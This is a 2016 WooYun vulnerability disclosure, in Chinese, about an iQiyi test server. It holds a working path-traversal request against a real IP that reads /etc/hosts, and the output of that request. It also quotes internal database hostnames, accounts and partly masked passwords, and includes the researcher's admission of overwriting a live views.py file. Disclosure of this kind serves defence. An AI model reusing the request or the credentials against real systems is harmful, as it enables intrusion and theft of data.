当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0192512

漏洞标题：奇艺某处任意文件读取写入泄露大量内网数据库地址账号密码（可getshell）

相关厂商：奇艺

漏洞作者： sqlfeng

提交时间：2016-04-04 22:15

修复时间：2016-05-19 23:10

公开时间：2016-05-19 23:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-04： 细节已通知厂商并且等待厂商处理中
2016-04-04： 厂商已经确认，细节仅向厂商公开
2016-04-14： 细节向核心白帽子及相关领域专家公开
2016-04-24： 细节向普通白帽子公开
2016-05-04： 细节向实习白帽子公开
2016-05-19： 细节向公众公开

简要描述：

真心抱歉

详细说明：

http://211.151.133.195
可注册账号sqlmap sqlmap
1、

QQ截图20160404212226.png


404212320.png


每一页有5个脚本,一共3页,每个python脚本里都有大量的数据库账号密码
取部分

idc_url = "https://portal.qiyi.domain/newportal/?appkey=all_racks"
status_url = "jy.qim.w.qiyi.db"
status_port = 8526
status_username = "qim"
status_password = "Ld*HU"
status_db = "qim"
status_url = "jy.qim.w.qiyi.db"
status_port = 8526
status_username = "qim"
status_password = "L*HU"
status_db = "qim"
zabbix_url = "jy.zabbixjk1.r.qiyi.db"  # 8615
zabbix_username = "zabbix"
zabbix_password = "gkxx*5nrqAl[eu"
zabbix_port = 8615
zabbix_dbname = "zabbix"
zabbix_url2 = "sjhl.zabbixjk2.r.qiyi.db"  # 8653
zabbix_username2 = "zabbix"
zabbix_password2 = "**********"
zabbix_port2 = 8653
zabbix_dbname2 = "zabbix"


2、
任意文件读取写入
http://211.151.133.195/plugin/getfile?name=../../../../../../etc/hosts&pluginId=3
读取一下hosts

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4  beijing2-21vianet-10-77-51-8.idc.qiyi.domain
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6  beijing2-21vianet-10-77-51-8.idc.qiyi.domain


在这里我要说声对不起,一不小心把views.py的代码修改了,
http://211.151.133.195/plugin/getfile?name=../views.py&pluginId=3
我本来就是想新建个txt测试下的.结果把正常的VIEWS.py改成这样了...

04212656.png


可以任意修改文件,django 是可以爆绝对路径的,可以getshell的

漏洞证明：

http://211.151.133.195/plugin/getfile?name=../../../../../../etc/hosts&pluginId=3
读取一下hosts

127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4  beijing2-21vianet-10-77-51-8.idc.qiyi.domain
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6  beijing2-21vianet-10-77-51-8.idc.qiyi.domain

修复方案：

测试项目最好部署严谨了再测试

版权声明：转载请注明来源 sqlfeng@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-04-04 23:01

厂商回复：

感谢关注爱奇艺PPS安全，漏洞确认存在，我们尽快修复。 谢谢报告

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-05 21:17 | 白无常 ( 实习白帽子 | Rank:92 漏洞数:11 )

    666666666666啊 带我飞

  2. 2016-04-24 23:26 | hear7v ( 普通白帽子 | Rank:126 漏洞数:20 | 求组织收留啊)

    mark